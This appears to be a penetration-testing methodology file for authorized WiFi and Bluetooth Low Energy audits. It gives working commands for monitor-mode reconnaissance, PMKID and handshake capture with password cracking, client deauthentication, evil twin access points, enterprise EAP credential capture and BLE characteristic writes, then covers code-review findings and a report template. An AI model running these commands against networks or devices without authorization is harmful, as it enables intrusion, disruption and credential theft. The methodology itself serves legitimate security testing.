Wireless Network Audit

Wireless Network Audit

When to Use

Use when performing authorized wireless security assessments, testing WiFi configurations, auditing BLE device security, or reviewing wireless protocol implementations.

Tool Reference

WiFi Assessment Methodology

1. Reconnaissance

# Enable monitor mode
sudo airmon-ng start wlan0

# Scan all channels
sudo airodump-ng wlan0mon

# Target specific network (channel lock)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Kismet passive recon (web UI on :2501)
kismet -c wlan0mon

2. WPA2 PMKID Attack (clientless)

# Capture PMKID (no deauth needed)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --filterlist_ap=targets.txt --filtermode=2

# Convert to hashcat format
hcxpcapngtool -o hash.22000 pmkid.pcapng

# Crack with hashcat (mode 22000 = WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.22000 wordlist.txt -r rules/best64.rule

3. WPA2 4-Way Handshake

# Capture handshake (wait or force deauth)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

# Deauth client to force reconnect (authorized testing only)
sudo aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon

# Verify handshake captured
aircrack-ng handshake-01.cap

# Crack
aircrack-ng -w wordlist.txt handshake-01.cap

4. WPA3/SAE Assessment

# Dragonblood vulnerability check
# WPA3 is resistant to offline dictionary attacks but check for:
# - Transition mode (WPA3+WPA2 downgrade)
# - Side-channel timing attacks on SAE

# Detect transition mode (vulnerable to downgrade)
sudo airodump-ng wlan0mon | grep -i "WPA3.*WPA2"

5. Evil Twin / Rogue AP

# Bettercap WiFi module
sudo bettercap -iface wlan0mon

# Inside bettercap:
# wifi.recon on
# wifi.show
# wifi.ap                     # Start rogue AP
# set wifi.ap.ssid TargetSSID
# set wifi.ap.channel 6
# set wifi.ap.encryption false

6. Enterprise WPA2-EAP

# hostapd-mana for EAP credential capture
# Create hostile AP mimicking enterprise SSID
# Captures EAP identities and challenge/response pairs

# Check for certificate validation bypass
# Common finding: clients accept any certificate

BLE Assessment

1. Scanning

# Scan for BLE devices
sudo hcitool lescan

# Bettercap BLE recon
sudo bettercap -eval "ble.recon on"

# Detailed device info
bluetoothctl
> scan on
> info AA:BB:CC:DD:EE:FF

2. GATT Enumeration

# List services and characteristics
gatttool -b AA:BB:CC:DD:EE:FF --primary
gatttool -b AA:BB:CC:DD:EE:FF --characteristics

# Read characteristic value
gatttool -b AA:BB:CC:DD:EE:FF --char-read -a 0x000f

# Write to characteristic (test write permissions)
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x000f -n 0100

# Interactive mode
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
> characteristics
> char-read-hnd 0x000f

3. BLE Sniffing

# With Ubertooth One
ubertooth-btle -f -t AA:BB:CC:DD:EE:FF -c capture.pcap

# Analyze in Wireshark
wireshark capture.pcap  # Filter: btle

Code Review Patterns

Weak WiFi Configuration

# FINDING: WPA2-PSK with weak passphrase policy
wifi_config = {
    "ssid": "CorpWiFi",
    "security": "WPA2-PSK",  # Should be WPA2-Enterprise
    "passphrase": "welcome1"   # Dictionary word
}

BLE No Encryption

// FINDING: BLE connection without encryption
// Just Works pairing = no MitM protection
gap_set_security_mode(GAP_SEC_MODE_1, GAP_SEC_LEVEL_1);  // No security
// FIX: Use GAP_SEC_LEVEL_4 (LESC + authenticated)

Hardcoded BLE Keys

# FINDING: Static BLE pairing key
BLE_PASSKEY = 123456  # Default/hardcoded
# Enables trivial MitM pairing

Output Format

## Wireless Security Assessment

### Scope
- **Target SSID(s)**: [names]
- **Protocol**: WPA2-PSK / WPA2-Enterprise / WPA3 / BLE
- **Authorization**: [ref number]

### Network Configuration Findings

| # | Finding | Severity | SSID/Device |
|---|---------|----------|-------------|
| 1 | WPA2 transition mode enables downgrade | High | CorpWiFi |
| 2 | PMKID retrievable (weak PSK) | Critical | GuestWiFi |
| 3 | BLE device accepts unauthenticated writes | Medium | SmartLock-v2 |

### Recommendations
1. Migrate to WPA3-SAE only (disable transition mode)
2. Use WPA2-Enterprise with certificate pinning
3. Implement BLE LESC with numeric comparison

2600 Heritage

Wireless hacking has been a 2600 staple since wardriving culture emerged in the early 2000s. The magazine documented the evolution from WEP cracking (trivially broken) through WPA/WPA2 attacks to modern WPA3 assessment, alongside Bluetooth security research and the broader wireless attack surface.

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